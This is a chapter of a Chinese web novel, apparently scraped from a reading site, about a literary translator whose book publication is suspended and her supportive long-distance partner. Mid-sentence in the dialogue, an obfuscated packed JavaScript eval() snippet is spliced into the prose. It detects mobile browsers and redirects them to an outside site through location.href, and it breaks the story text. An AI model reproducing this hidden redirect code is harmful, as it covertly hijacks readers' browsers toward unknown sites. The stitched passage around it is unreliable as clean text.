他们在安检口前道别,仪式是一个落在额头的吻。许知蕴跟随着人流走去安检。她刻意把步伐维持在一个不快不慢的速度,因为她想要努力将心神放在保持节奏上,而不是什么别的地方。只是在经过层层安检后她看见了那一串滚动着的数字;那是航班的数字。耳朵里是英语和德语,她这几天也努力学了几句德语,只是除了“你好”“谢谢”“再见”之外,她也没学多少。 唯独只学了一句话:“Ichliebedich.” 这是“我爱你”的表达。 许知蕴看着时间,一分一秒地流逝了。在广播登机的时候,她忽然很想很想回头——即使她知道后面全都是陌生的人群,她也还是很想回头。但她克制住了,只不过在走上廊桥时,借着余光最后回望了一眼。 吵闹的人群,嘈杂的声音。 我的目光会和他的撞到一起吗? * 回到家里,继续过着同之前一样的生活。 但在二月的中旬,冬天的末尾之际,许知蕴收到了一条消息。 发信人是“编辑”。 49. 第四十九章 编辑打了一长串的文字。许知蕴一字一字认真看完了,却迟迟没能回过神来。 这段文字几乎让她陌生。 她想起自己曾经认识过的一位前辈,在同她聊天时说过一段经历。前辈接了一本关于经济学的译稿,花了大半年翻完后,却被出版社相关工作人员告知这本书最后取消出版的消息,钱也只拿到了一部分。许知蕴当时听到的时候,还觉得这样的事情或许很遥远,但她没想到,它或许即将也在自己身上上演。 她深呼吸,强迫自己冷静下来: [我想问一下,社里暂停了出版工作,那么然后还能重新启动这个项目吗?] 编辑回得很快:[我还在向上边尽力争取,只不过到底能不能出版,我也说不好。最近出版行业的行情实在不好……一旦项目重新启动,我会第一时间告知您的。也辛苦您的翻译了。] 说到这份上,许知蕴也不好追问什么,只好把手机屏幕熄灭了。 房间里很空旷,她靠在椅子上发呆。 原计划五月份出版的书,却被告知暂停。 说实话,她对这本书以及自己的译本还是有足够的信心的。这位作家在国内比较小众,知道的人寥寥无几,但他的作品在西方文学界已经获得了一定的知名度。能够翻译这名作家的作品,对许知蕴来说,既是挑战,又是荣幸。她花了很多的时间和心血雕琢笔下的文字,力求精准还原原文,但没想到最后可能会面临这样的结果:取消出版,她只能拿到一小部分的酬劳。 这其实不是钱的事。 许知蕴知道,自己的家庭条件算得上优渥,因此翻译拿到的钱反而是次要的了。没有任何一个人会拒绝自己的文字被印刷在纸上,被摆在书店里供人翻阅,他们译者也是如此。即使拿到的千字价格很低,即使很容易看坏眼睛,在文字最终从电脑里冷冰冰的文字被印刷在纸上、出版、被人品评时,她仍然会感受到由衷的高兴。 原作者的后面就是她的笔名,人们谈论作者的作品时,少不了要带上她的名字。她自己也或多或少在网络社交媒体上,看见他人对各个出版社与译者的评价。 或许评价她的译本太烂,或许认为她的译本值得一看——许知蕴并不害怕批评,不如说,如果连被批评的机会都没有,那才是真正的残酷。 但如果这本书最后真的无法出版…… 许知蕴忍不住有些阴暗地想,万一这名作家日后获得了不小的奖项呢?福克纳文学奖、都柏林文学奖、布克奖……或许十几年甚至几十年后,获得诺奖提名——甚至是诺贝尔文学奖!作家的价值是不可估量的,而出版了获奖作家作品的出版社,也能够大赚一笔。而译者,除了拿到丰厚的报酬之外,心中还会有他人或许难以理解的荣幸。 自己翻译的作家获奖,他们的文字之中,也混合着译者的心血。在他人称赞作品的时候,其实也饱含着对译者的称赞与肯定。 只是…… 她有些烦躁地把手机丢到一边。 她当然不能对编辑发脾气,毕竟他们也无法左右上峰的想法。只不过她的内心里,除了暗暗想着“那帮人真是不识货”之外,也做不了什么了。 只好保持乐观。万一又能重新出版呢? 许知蕴打开电脑,刷了几集搞笑的电视剧,总算把内心里的郁闷排解出去一点。 ——这两个月除了专栏之外,我绝对不会接其他译稿的!她恨恨地想。 …… 和程烨然打电话的时候,不可避免地提到了这件事情。 许知蕴靠在床上,手指习惯性地卷起被角,再放开,再卷起:“……事情就是这样,所以……我也不知道最终究竟会是怎样的结果,如果真的有幸能够出版,时间估计也要比预计的晚很多……” 一段时间过去,她倒是没有刚开始那么无奈和愤怒了。毕竟事情已经发生,要做的只能是精进自己的能力,多方寻找机会,才能实现自己的目标。 程烨然在电话那头沉默了一下,随后轻轻说:“无论如何,我仍然相信,你是一个很棒的翻译。” “那当然,这根本不用你说。” 许知蕴叹了口气,“虽然已经接受了这个事实,但我还是会觉得有些遗憾。明明那本书这么好,放弃出版简直是损失。但我同时也明白,今年出版业的行情实在太糟糕——不如说是各行各业都很糟糕才对。你……” 她有些落寞地说:“你之前还很期待这部作品来着。可能……要让你失望了。” 每次她同程烨然说起这本书的时候,他都是一副很感兴趣的样子。许知蕴曾经好奇地问他,你究竟是不是真的喜欢这本书呢?是因为我的关系,所以对它感兴趣,还是因为别的什么原因呢? …… 程烨然当时先是一愣,随后笑了起来。 “两个原因都有。”他说,“如果没有你,或许我终其一生都不知道这本书,不是吗?” “而且,听了你的描述,我是发自内心地希望它出现在书架上,希望自己能够阅读它。尽管我自己并不经常阅读这类书籍,但我觉得阅读实在是一件很美好的事——一个人不用出门,就能在书里经历另一个世界,另一种人生。所以,我很感谢你为我带来的一切。” 许知蕴还记得他说的这番话。每当在翻译过程中迷茫与烦躁的时候,总能给她带来些许安慰。 可惜程烨然或许得失望了。 …… 她虽然这么想,但他却不这么认为。 “知蕴。”他说,“我并不算什么。比起我来,我想你的失望要更多,毕竟你耗费了那么多的心血。” 他伸出手来,隔着屏幕,轻轻蹭了蹭许知蕴的脸:“可惜我除了安慰你,似乎不能为你做些什么……我甚至不能抱抱你。” 在那一刻,许知蕴真的有种错觉——仿佛自己的脸颊感受到了对方温暖的触碰。 “我已经调整好啦。”她将自己的手也伸过去,隔着冰凉的屏幕,碰了碰他的,“你不需要安慰我,也不用为我做点什么。下一个阶段要做的事情,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14341383|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经想好了。” 尽管嘴上说着“两个月以来我再也不要接其他译稿了”,但许知蕴心里莫名憋着一股气。没有出版社的邀约,她就去主动找其他国内未引进过的英语文本翻译,或者去投其他出版社的试译稿。 在读书时她就尝试过试译的兼职,但大多数时候都是被刷下去的那一部分。她的同学曾问她,为什么不试试商业翻译,毕竟图书翻译的起步价实在不高。 许知蕴听了她的话,摇摇头:“比起其他的,我还是喜欢图书翻译啊。” 那是一个个故事,一段段人生。 她喜欢文艺作品给自己带来的心灵带来的久久震颤之感。 她知道试译的人数众多,一份文稿可能会有好几百人竞争,但她相信自己的实力。这一份稿件不行,就换另一份。她总会有被选中的一天,而她总会能够迈出自己的下一步,让自己的名字被印在越来越多作者的身后。 程烨然认认真真听完了她的计划。 许知蕴其实是一个不容易情绪化的人。似乎不管遇到什么事情,她都能很快地收拾好自己。这并不是故作坚强,而是她的内心就是这么想的。与其在跌倒时不住地患得患失,不如立马爬起来,奔向下一个目的地。 他由衷道:“我相信你能做到。还有……” 程烨然忽然笑了笑:“知蕴,你比我厉害多了。我其实,并没有你这么勇敢。” 说起一些往事,难免会有些不好意思。“我呢,大学时参加了很多比赛,获得的奖项不算多,也并不很知名。那个时候消沉了好一阵,甚至有放弃学设计的念头,但后来好在是扛过去了,也考上了研究生。在德国念书的时候,同学都比我优秀得多,努力得多。我的内心里自然而然会产生自卑的念头。说来很不光彩,但我那段时间拼命学习,其实也只是为了让自己不那么自卑而已。 “后来,也算是得到一个不错的成果,我顺利进入这家公司工作。我本来想着,我身上没有家庭压力,索性平平淡淡地过日子也好,对于未来并没有什么宏大的规划。但——我遇见了你。你很优秀,那时我想,总得做出什么成绩来,不然似乎没有办法和你并肩同行。 “我有很多时候是迷茫的,但你对于目标却很清晰。” 程烨然又坚定地落下了他的结论,“你是我心中最厉害的翻译。我相信你会做到的——所有你想做到的事情。” 他一直都坚决地相信许知蕴,相信她能够做出一番事业,相信她日后能成为一名真正的翻译家。 而许知蕴呢? 她当然不会让他失望了——同样,她也不会让自己失望。 * 许知蕴开始在网站上寻找未被引进的英文文本。她挑来选去,锚定了一名作家的短篇小说。网站里收录的并不多,只有零零散散十几篇。许知蕴翻译了其中的五篇,随后投到了一家译文出版社。她又投了几家公司的试译,在一个晚上,一鼓作气地将文稿全部发了过去。 她不急不慢地等着最终结果的到来。